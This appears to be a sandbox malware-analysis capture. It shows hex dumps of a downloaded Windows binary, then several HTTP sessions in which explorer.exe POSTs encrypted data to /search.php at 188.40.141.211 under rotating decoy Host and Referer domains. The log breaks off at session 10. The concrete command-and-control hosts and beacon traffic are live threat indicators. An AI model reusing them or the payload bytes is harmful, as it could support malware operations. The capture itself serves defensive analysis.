2024-10-07 12:59:48 UTC	8000	IN	Data Raw: c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 fc 2b 40 00 8b ff f7 d9 ff 24 8d ac 2b 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 00 2b 40 00 ff 24 8d fc 2b 40 00 90 10 2b 40 00 34 2b 40 00 5c 2b 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 fc 2b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 88 fd f3 a5 fc ff 24 95 fc 2b 40 00 90 8a 46 03 23 d1 88 47 03 8a 46 02 88 47 02 8a 46 01 c1 e9 02 88 47 01 83 ee 03 83 ef 03 83 f9 08 0f 82 56 ff ff ff fd f3 a5 fc ff 24 95 fc 2b 40 00 8d 49 00 b0 2b 40 00 b8 2b 40 00 c0 2b 40 00 c8 2b 40 00 d0 2b 40 00 d8 2b 40 00 e0 2b 40 00 f3 2b 40 00 8b 44 8e 1c 89 44 8f 1c Data Ascii: u$r$+@$+@Ir+$+@$+@+@4+@\+@F#Gr$+@IF#GFGr$+@F#GFGFGV$+@I+@+@+@+@+@+@+@+@DD
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: b5 d0 fd ff ff 89 bd cc fd ff ff 66 8c 95 f8 fd ff ff 66 8c 8d ec fd ff ff 66 8c 9d c8 fd ff ff 66 8c 85 c4 fd ff ff 66 8c a5 c0 fd ff ff 66 8c ad bc fd ff ff 9c 8f 85 f0 fd ff ff 8b 45 04 8d 4d 04 89 8d f4 fd ff ff c7 85 30 fd ff ff 01 00 01 00 89 85 e8 fd ff ff 8b 49 fc 89 8d e4 fd ff ff 8b 4d 0c 89 8d e0 fc ff ff 8b 4d 10 89 8d e4 fc ff ff 89 85 ec fc ff ff ff 15 6c d1 40 00 6a 00 8b f8 ff 15 68 d1 40 00 8d 85 d8 fc ff ff 50 ff 15 64 d1 40 00 85 c0 75 10 85 ff 75 0c 83 fb ff 74 07 53 e8 30 40 00 00 59 8b 4d fc 5f 33 cd 5b e8 63 f3 ff ff c9 c3 8b ff 56 6a 01 be 17 04 00 c0 56 6a 02 e8 c5 fe ff ff 83 c4 0c 56 ff 15 74 d1 40 00 50 ff 15 70 d1 40 00 5e c3 8b ff 55 8b ec ff 35 30 ee 44 00 ff 15 10 d1 40 00 85 c0 74 03 5d ff e0 ff 75 18 ff 75 14 ff 75 10 ff Data Ascii: ffffffEM0IMMl@jh@Pd@uutS0@YM_3[cVjVjVt@Pp@^U50D@t]uuu
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: e8 53 ea ff ff 83 65 fc 00 e8 37 ea ff ff 83 4d fc ff e8 f5 e9 ff ff e8 53 ec ff ff 8b 4d 08 6a 00 6a 00 89 88 94 00 00 00 e8 6d d0 ff ff cc 6a 2c 68 68 73 44 00 e8 bc f0 ff ff 8b d9 8b 7d 0c 8b 75 08 89 5d e4 83 65 cc 00 8b 47 fc 89 45 dc ff 76 18 8d 45 c4 50 e8 78 d3 ff ff 59 59 89 45 d8 e8 09 ec ff ff 8b 80 88 00 00 00 89 45 d4 e8 fb eb ff ff 8b 80 8c 00 00 00 89 45 d0 e8 ed eb ff ff 89 b0 88 00 00 00 e8 e2 eb ff ff 8b 4d 10 89 88 8c 00 00 00 83 65 fc 00 33 c0 40 89 45 10 89 45 fc ff 75 1c ff 75 18 53 ff 75 14 57 e8 c6 d3 ff ff 83 c4 14 89 45 e4 83 65 fc 00 eb 6f 8b 45 ec e8 e1 fd ff ff c3 8b 65 e8 e8 9f eb ff ff 83 a0 0c 02 00 00 00 8b 75 14 8b 7d 0c 81 7e 04 80 00 00 00 7f 06 0f be 4f 08 eb 03 8b 4f 08 8b 5e 10 83 65 e0 00 8b 45 e0 3b 46 0c 73 18 6b Data Ascii: Se7MSMjjmj,hhsD}u]eGEvEPxYYEEEMe3@EEuuSuWEeoEeu}~OO^eE;Fsk
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: 70 ff ff ff 07 c3 c6 85 70 ff ff ff 01 dc 05 a4 ee 40 00 c3 d9 c9 db bd 62 ff ff ff db ad 62 ff ff ff f6 85 69 ff ff ff 40 74 09 c6 85 70 ff ff ff 07 eb 07 c6 85 70 ff ff ff 01 de c1 c3 db bd 62 ff ff ff db ad 62 ff ff ff f6 85 69 ff ff ff 40 74 20 d9 c9 db bd 62 ff ff ff db ad 62 ff ff ff f6 85 69 ff ff ff 40 74 09 c6 85 70 ff ff ff 07 eb 07 c6 85 70 ff ff ff 01 de c1 c3 dd d8 dd d8 db 2d 90 ee 40 00 80 bd 70 ff ff ff 00 7f 07 c6 85 70 ff ff ff 01 0a c9 c3 0a c9 74 02 d9 e0 c3 b8 cd 9d 40 00 a3 68 94 44 00 c7 05 6c 94 44 00 c3 94 40 00 c7 05 70 94 44 00 77 94 40 00 c7 05 74 94 44 00 b0 94 40 00 c7 05 78 94 44 00 19 94 40 00 a3 7c 94 44 00 c7 05 80 94 44 00 45 9d 40 00 c7 05 84 94 44 00 35 94 40 00 c7 05 88 94 44 00 97 93 40 00 c7 05 8c 94 44 00 23 93 40 Data Ascii: pp@bbi@tppbbi@t bbi@tpp-@ppt@hDlD@pDw@tD@xD@\|DDE@D5@D@D#@
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: 40 39 45 0c 77 0e e8 91 a3 ff ff 6a 22 59 89 08 8b f1 eb d0 57 8d 7e 01 c6 06 30 8b c7 85 d2 7e 1a 8a 0b 84 c9 74 06 0f be c9 43 eb 03 6a 30 59 88 08 40 4a 85 d2 7f e9 8b 4d 14 c6 00 00 85 d2 78 12 80 3b 35 7c 0d eb 03 c6 00 30 48 80 38 39 74 f7 fe 00 80 3e 31 75 05 ff 41 04 eb 12 57 e8 63 89 ff ff 40 50 57 56 e8 ba 85 ff ff 83 c4 10 33 c0 5f 5e 5b 5d c3 8b ff 55 8b ec 51 8b 4d 0c 0f b7 41 06 53 8b d8 c1 eb 04 25 00 80 00 00 56 ba ff 07 00 00 23 da 57 89 45 0c 8b 41 04 8b 09 0f b7 fb be 00 00 00 80 25 ff ff 0f 00 89 75 fc 85 ff 74 13 3b fa 74 08 81 c3 00 3c 00 00 eb 28 bf ff 7f 00 00 eb 24 33 d2 3b c2 75 12 3b ca 75 0e 8b 45 08 66 8b 4d 0c 89 50 04 89 10 eb 42 81 c3 01 3c 00 00 89 55 fc 0f b7 fb 8b d1 c1 ea 15 c1 e0 0b 0b d0 0b 55 fc 8b 45 08 c1 e1 0b eb Data Ascii: @9Ewj"YW~0~tCj0Y@JMx;5\|0H89t>1uAWc@PWV3_^[]UQMAS%V#WEA%ut;t<($3;u;uEfMPB<UUE
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: 02 74 05 0d 00 08 00 00 f6 c2 01 74 05 0d 00 10 00 00 bf 00 01 00 00 f7 c2 00 00 08 00 74 02 0b c7 8b ca be 00 03 00 00 23 ce 74 1f 3b cf 74 16 3b cb 74 0b 3b ce 75 13 0d 00 60 00 00 eb 0c 0d 00 40 00 00 eb 05 0d 00 20 00 00 b9 00 00 00 03 5f 23 d1 5e 5b 81 fa 00 00 00 01 74 16 81 fa 00 00 00 02 74 0a 3b d1 75 0f 0d 00 80 00 00 c3 83 c8 40 c3 0d 40 80 00 00 c3 8b ff 55 8b ec 83 ec 14 53 56 57 9b d9 7d fc 66 8b 5d fc 33 d2 f6 c3 01 74 03 6a 10 5a f6 c3 04 74 03 83 ca 08 f6 c3 08 74 03 83 ca 04 f6 c3 10 74 03 83 ca 02 f6 c3 20 74 03 83 ca 01 f6 c3 02 74 06 81 ca 00 00 08 00 0f b7 cb 8b c1 be 00 0c 00 00 23 c6 bf 00 03 00 00 74 24 3d 00 04 00 00 74 17 3d 00 08 00 00 74 08 3b c6 75 12 0b d7 eb 0e 81 ca 00 02 00 00 eb 06 81 ca 00 01 00 00 23 cf 74 10 81 f9 00 Data Ascii: ttt#t;t;t;u`@ _#^[tt;u@@USVW}f]3tjZttt tt#t$=t=t;u#t
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: 6e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 00 00 00 00 4e 6f 20 6c 6f 63 6b 73 20 61 76 61 69 6c 61 62 6c 65 00 00 46 69 6c 65 6e 61 6d 65 20 74 6f 6f 20 6c 6f 6e 67 00 00 00 52 65 73 6f 75 72 63 65 20 64 65 61 64 6c 6f 63 6b 20 61 76 6f 69 64 65 64 00 00 00 52 65 73 75 6c 74 20 74 6f 6f 20 6c 61 72 67 65 00 00 00 00 44 6f 6d 61 69 6e 20 65 72 72 6f 72 00 00 00 00 42 72 6f 6b 65 6e 20 70 69 70 65 00 54 6f 6f 20 6d 61 6e 79 20 6c 69 6e 6b 73 00 00 52 65 61 64 2d 6f 6e 6c 79 20 66 69 6c 65 20 73 79 73 74 65 6d 00 00 00 49 6e 76 61 6c 69 64 20 73 65 65 6b 00 00 00 00 4e 6f 20 73 70 61 63 65 20 6c 65 66 74 20 6f 6e 20 64 65 76 69 63 65 00 46 69 6c 65 20 74 6f 6f 20 6c 61 72 67 65 00 00 49 6e 61 70 70 72 6f 70 72 69 61 74 65 20 49 2f 4f 20 63 6f 6e 74 72 6f Data Ascii: not implementedNo locks availableFilename too longResource deadlock avoidedResult too largeDomain errorBroken pipeToo many linksRead-only file systemInvalid seekNo space left on deviceFile too largeInappropriate I/O contro
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-07 12:59:48 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	50012	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:00:14 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://qchnpedxxogxdjn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 112 Host: calvinandhalls.com
2024-10-07 13:00:14 UTC	112	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 33 f8 12 a6 b3 ca 06 5d b3 7c 14 b1 72 cb 80 63 0a e1 68 17 23 d4 fd d3 2d b7 b5 7b 02 de 98 59 a1 03 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<3]\|rch#-{Y
2024-10-07 13:00:14 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:00:14 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	50013	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:00:16 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://oqqsbiatqglrn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: bestworldhools.com
2024-10-07 13:00:16 UTC	176	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 32 b3 3a 90 ad cc 5c 07 de 09 19 a5 61 fb 86 64 2c c3 73 26 41 b3 fd e1 42 ea c7 54 0b db 8c 58 91 50 23 b2 de 59 3b 63 44 32 52 c4 15 88 85 8c 2d f8 85 2d 79 56 f2 55 47 d3 5f 69 ca ff 81 a0 14 3f be 50 fd 6e fb 0d 4b a2 5b da 7b 35 75 26 50 b7 e5 1f f4 96 1b fb 5b 10 d1 ce aa 4a a2 fc 56 d9 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<2:\ad,s&ABTXP#Y;cD2R--yVUG_i?PnK[{5u&P[JV
2024-10-07 13:00:18 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:00:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	50017	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:01:32 UTC	290	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://xoybtutnnxkecaqf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 262 Host: calvinandhalls.com
2024-10-07 13:01:32 UTC	262	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 6c b4 66 96 a6 d6 45 58 de 0c 31 91 4d 8d c7 1c 61 e0 03 3d 63 b9 d3 9f 72 d0 a0 7e 7f ee 9e 79 94 4f 60 e7 88 5c 74 3f 55 35 0d 83 62 aa 85 83 5d f1 af 73 75 3b bf 08 3e fe 33 51 c8 94 98 98 26 01 b6 72 fc 71 8a 72 5a a8 39 d9 44 55 68 6d 04 d2 fa 4a ae c9 62 f8 09 66 9d ed d9 28 de a1 40 97 8f e6 9c 4a 3e 93 a0 d7 7b 53 c8 1c 10 8a 32 6e 26 e3 63 1d 76 d9 5a 67 35 86 d4 fd 22 63 be cb 29 f2 58 9e fe fe 0c 1a 76 71 f9 74 24 74 08 2d e8 3d b9 d6 12 20 11 72 26 84 bc 3a 3b 14 23 9e 81 fb 41 cc eb 0b c5 60 c7 f1 f0 c2 14 bc 59 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<lfEX1Ma=cr~yO`\t?U5b]su;>3Q&rqrZ9DUhmJbf(@J>{S2n&cvZg5"c)Xvqt$t-= r&:;#A`Y
2024-10-07 13:01:32 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:01:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50018	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:01:33 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://cqxtjrqcgsayay.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: bestworldhools.com
2024-10-07 13:01:33 UTC	251	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 59 c1 37 f4 ae bf 36 0e e9 0a 16 ff 5f 86 c9 2f 67 a3 64 40 23 ca b8 9a 4b c1 ed 56 45 d1 8a 3f ea 57 46 83 f5 03 08 47 16 2e 2e d2 75 b7 e1 b9 5e df f7 75 35 58 a8 5c 41 bb 57 00 98 d2 93 82 4b 77 85 40 c1 69 8d 03 72 93 48 bb 2d 35 2e 33 6c e6 f0 00 9b 95 73 ea 5f 1a e4 a2 a1 03 b9 ec 7d b2 b6 aa ba 57 50 a3 99 c2 7b 00 b6 74 4a 83 3c 65 2c e9 73 76 7f a1 4e 1c 07 d2 84 df 38 30 8e a6 1e e7 27 85 f4 bd 2d 68 23 4a c8 7f 7a 5c 3f 26 c2 1f ba 96 12 34 05 4e 38 d1 99 55 46 20 38 98 82 88 5c f0 f1 09 d8 71 bb 93 86 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<Y76_/gd@#KVE?WFG..u^u5X\AWKw@irH-5.3ls_}WP{tJ<e,svN80'-h#Jz\?&4N8UF 8\q
2024-10-07 13:01:33 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:01:33 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50020	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:01:54 UTC	290	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://nihavgqtcpkgtcxt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 111 Host: calvinandhalls.com
2024-10-07 13:01:54 UTC	111	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 37 f5 64 fa ab ab 55 1d c7 66 71 e0 7c d7 e6 2a 08 fd 2c 40 34 d1 a7 9c 65 ee df 77 0f e2 9b 76 db Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<7dUfq\|*,@4ewv
2024-10-07 13:01:55 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:01:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50021	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:01:56 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://uheybmputpop.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 267 Host: bestworldhools.com
2024-10-07 13:01:56 UTC	267	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 46 e8 07 b0 a8 ed 00 06 e8 13 33 be 20 dc 93 08 3e ec 05 49 20 92 c4 ec 26 c8 bb 6f 66 97 bb 22 a9 5e 5a b1 fb 60 0a 5b 45 1e 2d f5 16 c6 f4 88 4d e9 e1 23 23 56 8b 55 03 fe 69 08 89 86 8e dc 04 75 cd 6a ed 21 b6 65 42 c3 25 8a 78 45 45 32 1d bd f9 70 99 8b 2a d7 27 16 87 d5 9e 1b c0 f1 46 9f 8c 87 b5 5f 61 d2 d9 c7 11 0c ae 06 1a c2 25 79 26 f4 4b 05 72 c4 0e 76 19 ee 88 f9 2d 73 93 cf 1f ba 3d f5 fb bc 73 65 6d 5f cc 60 60 6f 27 6b f9 18 9f d1 77 22 1c 50 4e f3 93 7e 2a 09 4a 91 cd c6 5f d8 d5 2b f5 5c a0 89 c7 ac 15 d8 36 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<F3 >I &of"^Z`[E-M##VUiuj!eB%xEE2p'F_a%y&Krv-s=sem_``o'kw"PN~J_+\6
2024-10-07 13:01:56 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:01:56 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50023	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:02:16 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://glhqomjbdpj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 269 Host: calvinandhalls.com
2024-10-07 13:02:16 UTC	269	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 5c dc 25 b0 b5 ca 4f 37 c8 73 7e 95 22 dc 90 74 15 c6 66 04 26 ae bd e3 76 ea b6 1d 0d db a6 20 b8 42 29 8e 93 4d 2c 7b 42 1f 21 cf 1a 91 c2 cb 28 d7 96 50 7e 33 f4 11 02 d7 4c 47 e5 ce b3 c7 06 2b b9 75 bb 2d b6 74 3d 89 54 cc 45 58 52 03 57 e4 c8 7e f3 b0 12 84 33 32 9a ea 94 42 a6 e6 71 e0 de f3 cc 4e 4a 8b cf 8d 00 20 b0 6f 5a e6 3d 48 4a 9c 35 71 22 fa 58 73 41 d5 a5 c6 66 7a 82 b8 7a 83 78 dc e1 f8 10 0a 0f 49 d9 18 1c 05 2d 6d b9 52 f3 a4 12 4b 00 6e 32 9e 9d 33 66 28 16 9c ca e6 24 c8 fe 7f d3 26 84 e0 fc ab 17 b7 4d Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<\%O7s~"tf&v B)M,{B!(P~3LG+u-t=TEXRW~32BqNJ oZ=HJ5q"XsAfzzxI-mRKn23f($&M
2024-10-07 13:02:17 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:02:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50024	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:02:17 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://xnhhfayqvhtyngw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 175 Host: bestworldhools.com
2024-10-07 13:02:17 UTC	175	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 6f d5 13 b7 af f8 10 30 b9 33 1a fa 79 d1 f6 31 7c a8 02 37 4c 9d b1 97 78 d0 a7 68 69 e7 f2 7e af 2f 52 96 d8 00 2b 35 4b 56 03 f9 18 d2 95 c3 45 ef 9e 61 2e 57 94 10 5e ef 25 5d cc f2 89 ae 35 78 ab 01 d3 40 f1 70 31 bf 22 80 2d 33 5d 1b 1a c2 f4 58 b2 d1 6c 88 0a 15 8d e4 9c 10 fc f2 36 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<o03y1\|7Lxhi~/R+5KVEa.W^%]5x@p1"-3]Xl6
2024-10-07 13:02:17 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:02:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50026	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:02:39 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://hptbtnqwmmhbw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: calvinandhalls.com
2024-10-07 13:02:39 UTC	264	OUT	Data Raw: 72 19 89 ce fa 7a 60 8c 1c f3 ed 64 4e f3 12 2b dc 87 c2 d6 65 7e 46 86 04 77 b6 90 ef d1 36 98 01 ec b6 f2 03 fa db f4 82 00 d0 c4 ea 28 23 bc bb bc 25 0a 50 20 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 55 d5 28 8b 94 f2 02 38 e0 12 7d 80 23 9b ce 0a 7b eb 30 2b 33 ac c0 f0 3f b0 b6 62 58 f6 85 52 82 31 24 e2 dc 17 08 43 78 45 47 85 62 8f f4 a2 2c e7 85 40 68 2e 91 41 30 c9 2c 5c fa 8e ae 94 00 26 d0 1f f6 4b a0 31 4e b6 44 bc 3b 2c 3b 17 7b d5 b3 01 ad a8 7b da 2d 75 8c f8 82 52 dd 8a 0f b0 c3 f9 8c 5b 75 be 80 95 5c 41 8d 42 0f 91 74 1a 4b b5 54 21 49 f1 06 74 24 8b b3 80 64 23 b0 a4 37 ad 22 c5 a7 c9 3e 05 2f 38 d8 15 7e 12 2f 2f ce 31 fd 9d 66 41 32 37 57 82 8a 78 27 0d 04 c2 c8 c8 01 c5 e9 37 d5 2c ca 94 d3 b0 0e d0 38 Data Ascii: rz`dN+e~Fw6(#%P g3iqH[CLj4%<U(8}#{0+3?bXR1$CxEGb,@h.A0,\&K1ND;,;{{-uR[u\ABtKT!It$d#7">/8~//1fA27Wx'7,8
2024-10-07 13:02:40 UTC	163	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Content-Length: 0 Content-Type: application/octet-stream Date: Mon, 07 Oct 2024 13:02:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50027	188.40.141.211	443	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
